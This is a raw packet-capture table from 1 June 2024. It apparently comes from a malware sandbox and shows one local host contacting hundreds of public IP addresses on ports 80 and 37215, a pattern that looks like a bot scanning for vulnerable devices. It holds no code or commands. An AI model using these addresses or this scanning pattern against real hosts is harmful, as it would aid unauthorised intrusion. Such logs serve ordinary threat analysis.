Jun 1, 2024 18:15:52.205126047 CEST	43496	80	192.168.2.23	57.222.230.206
Jun 1, 2024 18:15:52.205127001 CEST	80	43496	204.167.44.181	192.168.2.23
Jun 1, 2024 18:15:52.205137968 CEST	80	43496	194.252.4.200	192.168.2.23
Jun 1, 2024 18:15:52.205147028 CEST	43496	80	192.168.2.23	128.101.239.153
Jun 1, 2024 18:15:52.205147982 CEST	80	43496	68.39.123.219	192.168.2.23
Jun 1, 2024 18:15:52.205152988 CEST	43496	80	192.168.2.23	45.5.242.217
Jun 1, 2024 18:15:52.205157995 CEST	80	43496	95.237.237.156	192.168.2.23
Jun 1, 2024 18:15:52.205166101 CEST	80	43496	186.28.217.117	192.168.2.23
Jun 1, 2024 18:15:52.205173016 CEST	43496	80	192.168.2.23	204.167.44.181
Jun 1, 2024 18:15:52.205183983 CEST	43496	80	192.168.2.23	68.39.123.219
Jun 1, 2024 18:15:52.205193996 CEST	43496	80	192.168.2.23	95.237.237.156
Jun 1, 2024 18:15:52.205195904 CEST	43496	80	192.168.2.23	194.252.4.200
Jun 1, 2024 18:15:52.205198050 CEST	43496	80	192.168.2.23	186.28.217.117
Jun 1, 2024 18:15:52.205693007 CEST	80	43496	142.5.237.169	192.168.2.23
Jun 1, 2024 18:15:52.205703020 CEST	80	43496	205.249.54.111	192.168.2.23
Jun 1, 2024 18:15:52.205712080 CEST	80	43496	177.196.212.25	192.168.2.23
Jun 1, 2024 18:15:52.205735922 CEST	80	43496	117.241.145.89	192.168.2.23
Jun 1, 2024 18:15:52.205744982 CEST	80	43496	72.194.176.69	192.168.2.23
Jun 1, 2024 18:15:52.205756903 CEST	80	43496	51.243.182.171	192.168.2.23
Jun 1, 2024 18:15:52.205761909 CEST	43496	80	192.168.2.23	205.249.54.111
Jun 1, 2024 18:15:52.205770016 CEST	43496	80	192.168.2.23	177.196.212.25
Jun 1, 2024 18:15:52.205770016 CEST	43496	80	192.168.2.23	117.241.145.89
Jun 1, 2024 18:15:52.205780983 CEST	43496	80	192.168.2.23	72.194.176.69
Jun 1, 2024 18:15:52.205794096 CEST	43496	80	192.168.2.23	142.5.237.169
Jun 1, 2024 18:15:52.205794096 CEST	43496	80	192.168.2.23	51.243.182.171
Jun 1, 2024 18:15:52.205821037 CEST	80	43496	41.59.82.228	192.168.2.23
Jun 1, 2024 18:15:52.205831051 CEST	80	43496	212.199.183.185	192.168.2.23
Jun 1, 2024 18:15:52.205842018 CEST	80	43496	98.147.145.185	192.168.2.23
Jun 1, 2024 18:15:52.205849886 CEST	80	43496	41.62.241.247	192.168.2.23
Jun 1, 2024 18:15:52.205874920 CEST	80	43496	110.176.150.43	192.168.2.23
Jun 1, 2024 18:15:52.205883980 CEST	43496	80	192.168.2.23	212.199.183.185
Jun 1, 2024 18:15:52.205887079 CEST	43496	80	192.168.2.23	98.147.145.185
Jun 1, 2024 18:15:52.205904007 CEST	43496	80	192.168.2.23	41.62.241.247
Jun 1, 2024 18:15:52.205907106 CEST	80	43496	173.159.67.38	192.168.2.23
Jun 1, 2024 18:15:52.205914974 CEST	80	43496	193.173.191.129	192.168.2.23
Jun 1, 2024 18:15:52.205938101 CEST	43496	80	192.168.2.23	41.59.82.228
Jun 1, 2024 18:15:52.205938101 CEST	43496	80	192.168.2.23	110.176.150.43
Jun 1, 2024 18:15:52.205940962 CEST	80	43496	219.126.2.77	192.168.2.23
Jun 1, 2024 18:15:52.205950022 CEST	80	43496	92.228.245.159	192.168.2.23
Jun 1, 2024 18:15:52.205955982 CEST	43496	80	192.168.2.23	173.159.67.38
Jun 1, 2024 18:15:52.205974102 CEST	80	43496	95.239.226.123	192.168.2.23
Jun 1, 2024 18:15:52.205974102 CEST	43496	80	192.168.2.23	193.173.191.129
Jun 1, 2024 18:15:52.205982924 CEST	43496	80	192.168.2.23	219.126.2.77
Jun 1, 2024 18:15:52.205984116 CEST	80	43496	108.85.135.218	192.168.2.23
Jun 1, 2024 18:15:52.206001997 CEST	43496	80	192.168.2.23	92.228.245.159
Jun 1, 2024 18:15:52.206001997 CEST	80	43496	87.44.98.223	192.168.2.23
Jun 1, 2024 18:15:52.206015110 CEST	80	43496	52.206.114.48	192.168.2.23
Jun 1, 2024 18:15:52.206051111 CEST	43496	80	192.168.2.23	52.206.114.48
Jun 1, 2024 18:15:52.206165075 CEST	43496	80	192.168.2.23	95.239.226.123
Jun 1, 2024 18:15:52.206165075 CEST	43496	80	192.168.2.23	108.85.135.218
Jun 1, 2024 18:15:52.206165075 CEST	43496	80	192.168.2.23	87.44.98.223
Jun 1, 2024 18:15:52.206516027 CEST	80	43496	58.199.54.70	192.168.2.23
Jun 1, 2024 18:15:52.206526041 CEST	80	43496	25.87.20.30	192.168.2.23
Jun 1, 2024 18:15:52.206536055 CEST	80	43496	129.193.114.98	192.168.2.23
Jun 1, 2024 18:15:52.206554890 CEST	80	43496	146.97.242.87	192.168.2.23
Jun 1, 2024 18:15:52.206564903 CEST	80	43496	154.112.153.187	192.168.2.23
Jun 1, 2024 18:15:52.206573009 CEST	43496	80	192.168.2.23	58.199.54.70
Jun 1, 2024 18:15:52.206573009 CEST	43496	80	192.168.2.23	129.193.114.98
Jun 1, 2024 18:15:52.206574917 CEST	80	43496	38.215.187.250	192.168.2.23
Jun 1, 2024 18:15:52.206579924 CEST	43496	80	192.168.2.23	25.87.20.30
Jun 1, 2024 18:15:52.206579924 CEST	43496	80	192.168.2.23	146.97.242.87
Jun 1, 2024 18:15:52.206593037 CEST	80	43496	222.84.171.34	192.168.2.23
Jun 1, 2024 18:15:52.206602097 CEST	80	43496	196.44.130.154	192.168.2.23
Jun 1, 2024 18:15:52.206610918 CEST	80	43496	48.234.108.156	192.168.2.23
Jun 1, 2024 18:15:52.206620932 CEST	80	43496	45.238.94.61	192.168.2.23
Jun 1, 2024 18:15:52.206629992 CEST	80	43496	12.95.201.102	192.168.2.23
Jun 1, 2024 18:15:52.206649065 CEST	80	43496	187.75.110.93	192.168.2.23
Jun 1, 2024 18:15:52.206651926 CEST	43496	80	192.168.2.23	48.234.108.156
Jun 1, 2024 18:15:52.206657887 CEST	80	43496	123.15.159.153	192.168.2.23
Jun 1, 2024 18:15:52.206662893 CEST	80	43496	106.16.15.220	192.168.2.23
Jun 1, 2024 18:15:52.206667900 CEST	80	43496	204.135.242.117	192.168.2.23
Jun 1, 2024 18:15:52.206670046 CEST	43496	80	192.168.2.23	12.95.201.102
Jun 1, 2024 18:15:52.206676960 CEST	43496	80	192.168.2.23	45.238.94.61
Jun 1, 2024 18:15:52.206682920 CEST	43496	80	192.168.2.23	154.112.153.187
Jun 1, 2024 18:15:52.206686020 CEST	80	43496	187.205.139.84	192.168.2.23
Jun 1, 2024 18:15:52.206682920 CEST	43496	80	192.168.2.23	38.215.187.250
Jun 1, 2024 18:15:52.206682920 CEST	43496	80	192.168.2.23	222.84.171.34
Jun 1, 2024 18:15:52.206688881 CEST	43496	80	192.168.2.23	123.15.159.153
Jun 1, 2024 18:15:52.206682920 CEST	43496	80	192.168.2.23	196.44.130.154
Jun 1, 2024 18:15:52.206690073 CEST	43496	80	192.168.2.23	187.75.110.93
Jun 1, 2024 18:15:52.206693888 CEST	43496	80	192.168.2.23	106.16.15.220
Jun 1, 2024 18:15:52.206703901 CEST	80	43496	31.70.83.31	192.168.2.23
Jun 1, 2024 18:15:52.206717014 CEST	43496	80	192.168.2.23	204.135.242.117
Jun 1, 2024 18:15:52.206726074 CEST	43496	80	192.168.2.23	187.205.139.84
Jun 1, 2024 18:15:52.206727028 CEST	80	43496	176.135.116.139	192.168.2.23
Jun 1, 2024 18:15:52.206743002 CEST	43496	80	192.168.2.23	31.70.83.31
Jun 1, 2024 18:15:52.206763983 CEST	43496	80	192.168.2.23	176.135.116.139
Jun 1, 2024 18:15:52.207209110 CEST	80	43496	154.1.74.103	192.168.2.23
Jun 1, 2024 18:15:52.207250118 CEST	43496	80	192.168.2.23	154.1.74.103
Jun 1, 2024 18:15:52.207254887 CEST	80	43496	212.34.153.120	192.168.2.23
Jun 1, 2024 18:15:52.207266092 CEST	80	43496	158.4.130.100	192.168.2.23
Jun 1, 2024 18:15:52.207276106 CEST	80	43496	124.60.75.137	192.168.2.23
Jun 1, 2024 18:15:52.207284927 CEST	80	43496	105.120.208.242	192.168.2.23
Jun 1, 2024 18:15:52.207293034 CEST	43496	80	192.168.2.23	212.34.153.120
Jun 1, 2024 18:15:52.207293987 CEST	80	43496	206.121.1.240	192.168.2.23
Jun 1, 2024 18:15:52.207304955 CEST	80	43496	140.67.65.69	192.168.2.23
Jun 1, 2024 18:15:52.207312107 CEST	43496	80	192.168.2.23	158.4.130.100
Jun 1, 2024 18:15:52.207313061 CEST	80	43496	23.106.117.199	192.168.2.23
Jun 1, 2024 18:15:52.207319021 CEST	43496	80	192.168.2.23	124.60.75.137
Jun 1, 2024 18:15:52.207319021 CEST	43496	80	192.168.2.23	105.120.208.242
Jun 1, 2024 18:15:52.207324982 CEST	43496	80	192.168.2.23	206.121.1.240
Jun 1, 2024 18:15:52.207340956 CEST	80	43496	197.114.181.205	192.168.2.23
Jun 1, 2024 18:15:52.207346916 CEST	43496	80	192.168.2.23	140.67.65.69
Jun 1, 2024 18:15:52.207346916 CEST	43496	80	192.168.2.23	23.106.117.199
Jun 1, 2024 18:15:52.207350969 CEST	80	43496	159.209.163.86	192.168.2.23
Jun 1, 2024 18:15:52.207360029 CEST	80	43496	136.107.130.201	192.168.2.23
Jun 1, 2024 18:15:52.207377911 CEST	80	43496	50.8.69.255	192.168.2.23
Jun 1, 2024 18:15:52.207387924 CEST	80	43496	162.133.179.162	192.168.2.23
Jun 1, 2024 18:15:52.207387924 CEST	43496	80	192.168.2.23	197.114.181.205
Jun 1, 2024 18:15:52.207387924 CEST	43496	80	192.168.2.23	159.209.163.86
Jun 1, 2024 18:15:52.207387924 CEST	43496	80	192.168.2.23	136.107.130.201
Jun 1, 2024 18:15:52.207397938 CEST	80	43496	155.78.6.227	192.168.2.23
Jun 1, 2024 18:15:52.207407951 CEST	80	43496	113.32.208.233	192.168.2.23
Jun 1, 2024 18:15:52.207415104 CEST	43496	80	192.168.2.23	50.8.69.255
Jun 1, 2024 18:15:52.207425117 CEST	80	43496	210.177.42.70	192.168.2.23
Jun 1, 2024 18:15:52.207434893 CEST	80	43496	14.206.195.231	192.168.2.23
Jun 1, 2024 18:15:52.207448006 CEST	43496	80	192.168.2.23	155.78.6.227
Jun 1, 2024 18:15:52.207449913 CEST	43496	80	192.168.2.23	210.177.42.70
Jun 1, 2024 18:15:52.207452059 CEST	43496	80	192.168.2.23	113.32.208.233
Jun 1, 2024 18:15:52.207463026 CEST	43496	80	192.168.2.23	14.206.195.231
Jun 1, 2024 18:15:52.207473993 CEST	43496	80	192.168.2.23	162.133.179.162
Jun 1, 2024 18:15:52.207989931 CEST	80	43496	92.53.101.156	192.168.2.23
Jun 1, 2024 18:15:52.207999945 CEST	80	43496	49.89.88.150	192.168.2.23
Jun 1, 2024 18:15:52.208003998 CEST	80	43496	142.24.222.112	192.168.2.23
Jun 1, 2024 18:15:52.208013058 CEST	80	43496	46.175.159.21	192.168.2.23
Jun 1, 2024 18:15:52.208022118 CEST	80	43496	148.108.214.199	192.168.2.23
Jun 1, 2024 18:15:52.208039999 CEST	43496	80	192.168.2.23	92.53.101.156
Jun 1, 2024 18:15:52.208045006 CEST	80	43496	204.83.103.81	192.168.2.23
Jun 1, 2024 18:15:52.208050966 CEST	43496	80	192.168.2.23	142.24.222.112
Jun 1, 2024 18:15:52.208060980 CEST	43496	80	192.168.2.23	46.175.159.21
Jun 1, 2024 18:15:52.208061934 CEST	80	43496	173.208.19.46	192.168.2.23
Jun 1, 2024 18:15:52.208064079 CEST	43496	80	192.168.2.23	49.89.88.150
Jun 1, 2024 18:15:52.208064079 CEST	43496	80	192.168.2.23	148.108.214.199
Jun 1, 2024 18:15:52.208070993 CEST	80	43496	115.8.195.20	192.168.2.23
Jun 1, 2024 18:15:52.208080053 CEST	80	43496	203.92.191.69	192.168.2.23
Jun 1, 2024 18:15:52.208089113 CEST	80	43496	72.180.208.158	192.168.2.23
Jun 1, 2024 18:15:52.208092928 CEST	43496	80	192.168.2.23	173.208.19.46
Jun 1, 2024 18:15:52.208096981 CEST	80	43496	108.110.220.18	192.168.2.23
Jun 1, 2024 18:15:52.208101034 CEST	43496	80	192.168.2.23	204.83.103.81
Jun 1, 2024 18:15:52.208106995 CEST	43496	80	192.168.2.23	115.8.195.20
Jun 1, 2024 18:15:52.208120108 CEST	80	43496	180.178.100.12	192.168.2.23
Jun 1, 2024 18:15:52.208121061 CEST	43496	80	192.168.2.23	72.180.208.158
Jun 1, 2024 18:15:52.208125114 CEST	43496	80	192.168.2.23	203.92.191.69
Jun 1, 2024 18:15:52.208132982 CEST	43496	80	192.168.2.23	108.110.220.18
Jun 1, 2024 18:15:52.208149910 CEST	80	43496	161.130.112.163	192.168.2.23
Jun 1, 2024 18:15:52.208158970 CEST	80	43496	173.142.241.73	192.168.2.23
Jun 1, 2024 18:15:52.208158970 CEST	43496	80	192.168.2.23	180.178.100.12
Jun 1, 2024 18:15:52.208168030 CEST	80	43496	159.226.158.107	192.168.2.23
Jun 1, 2024 18:15:52.208175898 CEST	80	43496	138.68.100.167	192.168.2.23
Jun 1, 2024 18:15:52.208185911 CEST	43496	80	192.168.2.23	161.130.112.163
Jun 1, 2024 18:15:52.208190918 CEST	80	43496	222.192.175.158	192.168.2.23
Jun 1, 2024 18:15:52.208206892 CEST	43496	80	192.168.2.23	138.68.100.167
Jun 1, 2024 18:15:52.208214045 CEST	43496	80	192.168.2.23	173.142.241.73
Jun 1, 2024 18:15:52.208233118 CEST	43496	80	192.168.2.23	159.226.158.107
Jun 1, 2024 18:15:52.208233118 CEST	43496	80	192.168.2.23	222.192.175.158
Jun 1, 2024 18:15:52.208667040 CEST	80	43496	223.184.202.214	192.168.2.23
Jun 1, 2024 18:15:52.208677053 CEST	80	43496	99.143.20.218	192.168.2.23
Jun 1, 2024 18:15:52.208687067 CEST	80	43496	142.123.188.144	192.168.2.23
Jun 1, 2024 18:15:52.208698034 CEST	80	43496	49.169.0.194	192.168.2.23
Jun 1, 2024 18:15:52.208707094 CEST	80	43496	100.135.26.128	192.168.2.23
Jun 1, 2024 18:15:52.208715916 CEST	80	43496	89.186.87.4	192.168.2.23
Jun 1, 2024 18:15:52.208734989 CEST	80	43496	77.210.241.142	192.168.2.23
Jun 1, 2024 18:15:52.208744049 CEST	80	43496	104.138.27.75	192.168.2.23
Jun 1, 2024 18:15:52.208751917 CEST	80	43496	170.155.104.120	192.168.2.23
Jun 1, 2024 18:15:52.208764076 CEST	43496	80	192.168.2.23	89.186.87.4
Jun 1, 2024 18:15:52.208771944 CEST	43496	80	192.168.2.23	223.184.202.214
Jun 1, 2024 18:15:52.208771944 CEST	43496	80	192.168.2.23	99.143.20.218
Jun 1, 2024 18:15:52.208771944 CEST	43496	80	192.168.2.23	142.123.188.144
Jun 1, 2024 18:15:52.208771944 CEST	43496	80	192.168.2.23	100.135.26.128
Jun 1, 2024 18:15:52.208771944 CEST	43496	80	192.168.2.23	49.169.0.194
Jun 1, 2024 18:15:52.208776951 CEST	80	43496	187.180.44.72	192.168.2.23
Jun 1, 2024 18:15:52.208779097 CEST	43496	80	192.168.2.23	77.210.241.142
Jun 1, 2024 18:15:52.208786964 CEST	80	43496	31.177.179.63	192.168.2.23
Jun 1, 2024 18:15:52.208790064 CEST	43496	80	192.168.2.23	104.138.27.75
Jun 1, 2024 18:15:52.208796978 CEST	80	43496	41.150.17.115	192.168.2.23
Jun 1, 2024 18:15:52.208806992 CEST	80	43496	140.224.238.42	192.168.2.23
Jun 1, 2024 18:15:52.208825111 CEST	80	43496	119.254.206.101	192.168.2.23
Jun 1, 2024 18:15:52.208832979 CEST	80	43496	180.80.121.185	192.168.2.23
Jun 1, 2024 18:15:52.208842039 CEST	80	43496	172.148.19.182	192.168.2.23
Jun 1, 2024 18:15:52.208862066 CEST	43496	80	192.168.2.23	119.254.206.101
Jun 1, 2024 18:15:52.208877087 CEST	43496	80	192.168.2.23	170.155.104.120
Jun 1, 2024 18:15:52.208877087 CEST	43496	80	192.168.2.23	187.180.44.72
Jun 1, 2024 18:15:52.208877087 CEST	43496	80	192.168.2.23	31.177.179.63
Jun 1, 2024 18:15:52.208877087 CEST	43496	80	192.168.2.23	41.150.17.115
Jun 1, 2024 18:15:52.208877087 CEST	43496	80	192.168.2.23	140.224.238.42
Jun 1, 2024 18:15:52.208878994 CEST	43496	80	192.168.2.23	180.80.121.185
Jun 1, 2024 18:15:52.208884001 CEST	43496	80	192.168.2.23	172.148.19.182
Jun 1, 2024 18:15:52.209378004 CEST	80	43496	40.236.93.105	192.168.2.23
Jun 1, 2024 18:15:52.209388971 CEST	80	43496	96.82.214.179	192.168.2.23
Jun 1, 2024 18:15:52.209398031 CEST	80	43496	167.59.136.53	192.168.2.23
Jun 1, 2024 18:15:52.209419966 CEST	43496	80	192.168.2.23	40.236.93.105
Jun 1, 2024 18:15:52.209434986 CEST	80	43496	97.3.54.101	192.168.2.23
Jun 1, 2024 18:15:52.209439993 CEST	43496	80	192.168.2.23	167.59.136.53
Jun 1, 2024 18:15:52.209440947 CEST	43496	80	192.168.2.23	96.82.214.179
Jun 1, 2024 18:15:52.209450960 CEST	80	43496	202.28.233.55	192.168.2.23
Jun 1, 2024 18:15:52.209460020 CEST	80	43496	1.158.141.199	192.168.2.23
Jun 1, 2024 18:15:52.209470034 CEST	80	43496	100.0.207.191	192.168.2.23
Jun 1, 2024 18:15:52.209477901 CEST	43496	80	192.168.2.23	97.3.54.101
Jun 1, 2024 18:15:52.209487915 CEST	80	43496	109.142.94.211	192.168.2.23
Jun 1, 2024 18:15:52.209491014 CEST	43496	80	192.168.2.23	1.158.141.199
Jun 1, 2024 18:15:52.209496021 CEST	43496	80	192.168.2.23	100.0.207.191
Jun 1, 2024 18:15:52.209496975 CEST	80	43496	116.208.160.188	192.168.2.23
Jun 1, 2024 18:15:52.209506035 CEST	80	43496	129.55.201.33	192.168.2.23
Jun 1, 2024 18:15:52.209511995 CEST	43496	80	192.168.2.23	202.28.233.55
Jun 1, 2024 18:15:52.209515095 CEST	37215	60650	197.223.21.54	192.168.2.23
Jun 1, 2024 18:15:52.209527969 CEST	80	43496	71.42.114.64	192.168.2.23
Jun 1, 2024 18:15:52.209530115 CEST	43496	80	192.168.2.23	109.142.94.211
Jun 1, 2024 18:15:52.209532976 CEST	43496	80	192.168.2.23	116.208.160.188
Jun 1, 2024 18:15:52.209539890 CEST	43496	80	192.168.2.23	129.55.201.33
Jun 1, 2024 18:15:52.209547997 CEST	80	43496	190.116.191.185	192.168.2.23
Jun 1, 2024 18:15:52.209554911 CEST	43496	80	192.168.2.23	71.42.114.64
Jun 1, 2024 18:15:52.209556103 CEST	60650	37215	192.168.2.23	197.223.21.54
Jun 1, 2024 18:15:52.209572077 CEST	37215	60650	41.64.125.154	192.168.2.23
Jun 1, 2024 18:15:52.209582090 CEST	37215	60650	41.73.64.181	192.168.2.23
Jun 1, 2024 18:15:52.209589958 CEST	43496	80	192.168.2.23	190.116.191.185
Jun 1, 2024 18:15:52.209592104 CEST	80	43496	139.97.160.125	192.168.2.23
Jun 1, 2024 18:15:52.209602118 CEST	80	43496	206.197.192.202	192.168.2.23
Jun 1, 2024 18:15:52.209610939 CEST	60650	37215	192.168.2.23	41.64.125.154
Jun 1, 2024 18:15:52.209610939 CEST	37215	60650	197.253.210.18	192.168.2.23
Jun 1, 2024 18:15:52.209614992 CEST	60650	37215	192.168.2.23	41.73.64.181
Jun 1, 2024 18:15:52.209619045 CEST	43496	80	192.168.2.23	139.97.160.125
Jun 1, 2024 18:15:52.209633112 CEST	80	43496	59.34.35.126	192.168.2.23
Jun 1, 2024 18:15:52.209641933 CEST	43496	80	192.168.2.23	206.197.192.202
Jun 1, 2024 18:15:52.209641933 CEST	80	43496	139.250.8.91	192.168.2.23
Jun 1, 2024 18:15:52.209654093 CEST	60650	37215	192.168.2.23	197.253.210.18
Jun 1, 2024 18:15:52.209661007 CEST	80	43496	71.107.145.149	192.168.2.23
Jun 1, 2024 18:15:52.209670067 CEST	37215	60650	156.171.110.222	192.168.2.23
Jun 1, 2024 18:15:52.209673882 CEST	43496	80	192.168.2.23	59.34.35.126
Jun 1, 2024 18:15:52.209676027 CEST	43496	80	192.168.2.23	139.250.8.91
Jun 1, 2024 18:15:52.209702969 CEST	43496	80	192.168.2.23	71.107.145.149
Jun 1, 2024 18:15:52.209714890 CEST	60650	37215	192.168.2.23	156.171.110.222
Jun 1, 2024 18:15:52.210182905 CEST	80	43496	144.137.105.180	192.168.2.23
Jun 1, 2024 18:15:52.210192919 CEST	37215	60650	41.45.139.40	192.168.2.23
Jun 1, 2024 18:15:52.210201979 CEST	37215	60650	41.230.251.239	192.168.2.23
Jun 1, 2024 18:15:52.210211992 CEST	37215	60650	41.191.128.245	192.168.2.23
Jun 1, 2024 18:15:52.210220098 CEST	37215	60650	156.178.116.10	192.168.2.23
Jun 1, 2024 18:15:52.210228920 CEST	37215	60650	156.86.22.172	192.168.2.23
Jun 1, 2024 18:15:52.210232973 CEST	43496	80	192.168.2.23	144.137.105.180
Jun 1, 2024 18:15:52.210242987 CEST	60650	37215	192.168.2.23	41.45.139.40
Jun 1, 2024 18:15:52.210246086 CEST	80	43496	140.196.177.196	192.168.2.23
Jun 1, 2024 18:15:52.210249901 CEST	60650	37215	192.168.2.23	41.230.251.239
Jun 1, 2024 18:15:52.210253000 CEST	60650	37215	192.168.2.23	41.191.128.245
Jun 1, 2024 18:15:52.210256100 CEST	80	43496	203.161.143.43	192.168.2.23
Jun 1, 2024 18:15:52.210264921 CEST	37215	60650	156.179.87.41	192.168.2.23
Jun 1, 2024 18:15:52.210267067 CEST	60650	37215	192.168.2.23	156.178.116.10
Jun 1, 2024 18:15:52.210270882 CEST	60650	37215	192.168.2.23	156.86.22.172
Jun 1, 2024 18:15:52.210282087 CEST	43496	80	192.168.2.23	140.196.177.196
Jun 1, 2024 18:15:52.210289001 CEST	43496	80	192.168.2.23	203.161.143.43
Jun 1, 2024 18:15:52.210295916 CEST	37215	60650	156.31.222.162	192.168.2.23
Jun 1, 2024 18:15:52.210305929 CEST	37215	60650	156.91.103.148	192.168.2.23
Jun 1, 2024 18:15:52.210309982 CEST	60650	37215	192.168.2.23	156.179.87.41
Jun 1, 2024 18:15:52.210314989 CEST	37215	60650	41.24.255.53	192.168.2.23
Jun 1, 2024 18:15:52.210324049 CEST	80	43496	69.41.119.186	192.168.2.23
Jun 1, 2024 18:15:52.210333109 CEST	60650	37215	192.168.2.23	156.31.222.162
Jun 1, 2024 18:15:52.210335016 CEST	60650	37215	192.168.2.23	156.91.103.148
Jun 1, 2024 18:15:52.210340023 CEST	37215	60650	197.32.14.86	192.168.2.23
Jun 1, 2024 18:15:52.210360050 CEST	60650	37215	192.168.2.23	41.24.255.53
Jun 1, 2024 18:15:52.210360050 CEST	43496	80	192.168.2.23	69.41.119.186
Jun 1, 2024 18:15:52.210369110 CEST	37215	60650	41.205.127.172	192.168.2.23
Jun 1, 2024 18:15:52.210372925 CEST	60650	37215	192.168.2.23	197.32.14.86
Jun 1, 2024 18:15:52.210377932 CEST	37215	60650	41.107.254.102	192.168.2.23
Jun 1, 2024 18:15:52.210386992 CEST	80	43496	110.144.143.163	192.168.2.23
Jun 1, 2024 18:15:52.210397005 CEST	37215	60650	156.66.54.117	192.168.2.23
Jun 1, 2024 18:15:52.210406065 CEST	60650	37215	192.168.2.23	41.205.127.172
Jun 1, 2024 18:15:52.210406065 CEST	80	43496	54.133.155.253	192.168.2.23
Jun 1, 2024 18:15:52.210416079 CEST	80	43496	109.120.187.26	192.168.2.23
Jun 1, 2024 18:15:52.210424900 CEST	37215	60650	156.99.55.238	192.168.2.23
Jun 1, 2024 18:15:52.210424900 CEST	60650	37215	192.168.2.23	41.107.254.102
Jun 1, 2024 18:15:52.210428953 CEST	37215	60650	156.29.102.33	192.168.2.23
Jun 1, 2024 18:15:52.210428953 CEST	43496	80	192.168.2.23	110.144.143.163
Jun 1, 2024 18:15:52.210439920 CEST	60650	37215	192.168.2.23	156.66.54.117
Jun 1, 2024 18:15:52.210439920 CEST	43496	80	192.168.2.23	54.133.155.253
Jun 1, 2024 18:15:52.210470915 CEST	60650	37215	192.168.2.23	156.99.55.238
Jun 1, 2024 18:15:52.210474968 CEST	43496	80	192.168.2.23	109.120.187.26
Jun 1, 2024 18:15:52.210854053 CEST	60650	37215	192.168.2.23	156.29.102.33
Jun 1, 2024 18:15:52.210942984 CEST	37215	60650	156.56.18.183	192.168.2.23
Jun 1, 2024 18:15:52.210952997 CEST	80	43496	32.81.254.243	192.168.2.23
Jun 1, 2024 18:15:52.210963011 CEST	80	43496	103.17.79.184	192.168.2.23
Jun 1, 2024 18:15:52.210983038 CEST	80	43496	222.215.179.105	192.168.2.23
Jun 1, 2024 18:15:52.210985899 CEST	43496	80	192.168.2.23	32.81.254.243
Jun 1, 2024 18:15:52.210993052 CEST	80	43496	84.70.14.16	192.168.2.23
Jun 1, 2024 18:15:52.210995913 CEST	43496	80	192.168.2.23	103.17.79.184
Jun 1, 2024 18:15:52.211002111 CEST	37215	60650	41.41.14.2	192.168.2.23
Jun 1, 2024 18:15:52.211025953 CEST	37215	60650	41.55.216.8	192.168.2.23
Jun 1, 2024 18:15:52.211030006 CEST	43496	80	192.168.2.23	222.215.179.105
Jun 1, 2024 18:15:52.211030006 CEST	60650	37215	192.168.2.23	41.41.14.2
Jun 1, 2024 18:15:52.211035013 CEST	37215	60650	197.32.219.129	192.168.2.23
Jun 1, 2024 18:15:52.211035967 CEST	43496	80	192.168.2.23	84.70.14.16
Jun 1, 2024 18:15:52.211042881 CEST	37215	60650	197.237.209.32	192.168.2.23
Jun 1, 2024 18:15:52.211062908 CEST	37215	60650	156.91.0.61	192.168.2.23
Jun 1, 2024 18:15:52.211066008 CEST	60650	37215	192.168.2.23	41.55.216.8
Jun 1, 2024 18:15:52.211071968 CEST	37215	60650	41.45.112.191	192.168.2.23
Jun 1, 2024 18:15:52.211078882 CEST	60650	37215	192.168.2.23	197.32.219.129
Jun 1, 2024 18:15:52.211086988 CEST	37215	60650	156.208.73.22	192.168.2.23
Jun 1, 2024 18:15:52.211096048 CEST	60650	37215	192.168.2.23	156.91.0.61
Jun 1, 2024 18:15:52.211101055 CEST	60650	37215	192.168.2.23	156.56.18.183
Jun 1, 2024 18:15:52.211101055 CEST	60650	37215	192.168.2.23	197.237.209.32
Jun 1, 2024 18:15:52.211116076 CEST	60650	37215	192.168.2.23	41.45.112.191
Jun 1, 2024 18:15:52.211184025 CEST	37215	60650	156.204.40.95	192.168.2.23
Jun 1, 2024 18:15:52.211194038 CEST	37215	60650	197.194.164.39	192.168.2.23
Jun 1, 2024 18:15:52.211209059 CEST	80	43496	144.63.69.207	192.168.2.23
Jun 1, 2024 18:15:52.211218119 CEST	80	43496	148.191.55.145	192.168.2.23
Jun 1, 2024 18:15:52.211226940 CEST	37215	60650	197.150.115.165	192.168.2.23
Jun 1, 2024 18:15:52.211232901 CEST	60650	37215	192.168.2.23	156.204.40.95
Jun 1, 2024 18:15:52.211236000 CEST	37215	60650	197.5.87.100	192.168.2.23
Jun 1, 2024 18:15:52.211236000 CEST	60650	37215	192.168.2.23	197.194.164.39
Jun 1, 2024 18:15:52.211241007 CEST	43496	80	192.168.2.23	144.63.69.207
Jun 1, 2024 18:15:52.211245060 CEST	37215	60650	41.31.94.230	192.168.2.23
Jun 1, 2024 18:15:52.211253881 CEST	80	43496	204.164.129.249	192.168.2.23
Jun 1, 2024 18:15:52.211261034 CEST	60650	37215	192.168.2.23	197.150.115.165
Jun 1, 2024 18:15:52.211261988 CEST	80	43496	92.120.121.20	192.168.2.23
Jun 1, 2024 18:15:52.211265087 CEST	43496	80	192.168.2.23	148.191.55.145
Jun 1, 2024 18:15:52.211272001 CEST	60650	37215	192.168.2.23	197.5.87.100
Jun 1, 2024 18:15:52.211280107 CEST	60650	37215	192.168.2.23	41.31.94.230
Jun 1, 2024 18:15:52.211281061 CEST	43496	80	192.168.2.23	204.164.129.249
Jun 1, 2024 18:15:52.211292982 CEST	43496	80	192.168.2.23	92.120.121.20
Jun 1, 2024 18:15:52.211325884 CEST	60650	37215	192.168.2.23	156.208.73.22
Jun 1, 2024 18:15:52.211743116 CEST	80	43496	52.229.35.98	192.168.2.23
Jun 1, 2024 18:15:52.211788893 CEST	43496	80	192.168.2.23	52.229.35.98
Jun 1, 2024 18:15:52.211796999 CEST	37215	60650	156.215.217.196	192.168.2.23
Jun 1, 2024 18:15:52.211807966 CEST	37215	60650	156.82.188.129	192.168.2.23
Jun 1, 2024 18:15:52.211816072 CEST	80	43496	19.73.70.156	192.168.2.23
Jun 1, 2024 18:15:52.211824894 CEST	80	43496	114.96.173.157	192.168.2.23
Jun 1, 2024 18:15:52.211833954 CEST	80	43496	189.122.146.91	192.168.2.23
Jun 1, 2024 18:15:52.211839914 CEST	60650	37215	192.168.2.23	156.82.188.129
Jun 1, 2024 18:15:52.211843014 CEST	60650	37215	192.168.2.23	156.215.217.196
Jun 1, 2024 18:15:52.211848021 CEST	43496	80	192.168.2.23	19.73.70.156
Jun 1, 2024 18:15:52.211852074 CEST	80	43496	2.43.100.226	192.168.2.23
Jun 1, 2024 18:15:52.211859941 CEST	43496	80	192.168.2.23	189.122.146.91
Jun 1, 2024 18:15:52.211862087 CEST	43496	80	192.168.2.23	114.96.173.157
Jun 1, 2024 18:15:52.211869955 CEST	37215	60650	41.50.205.73	192.168.2.23
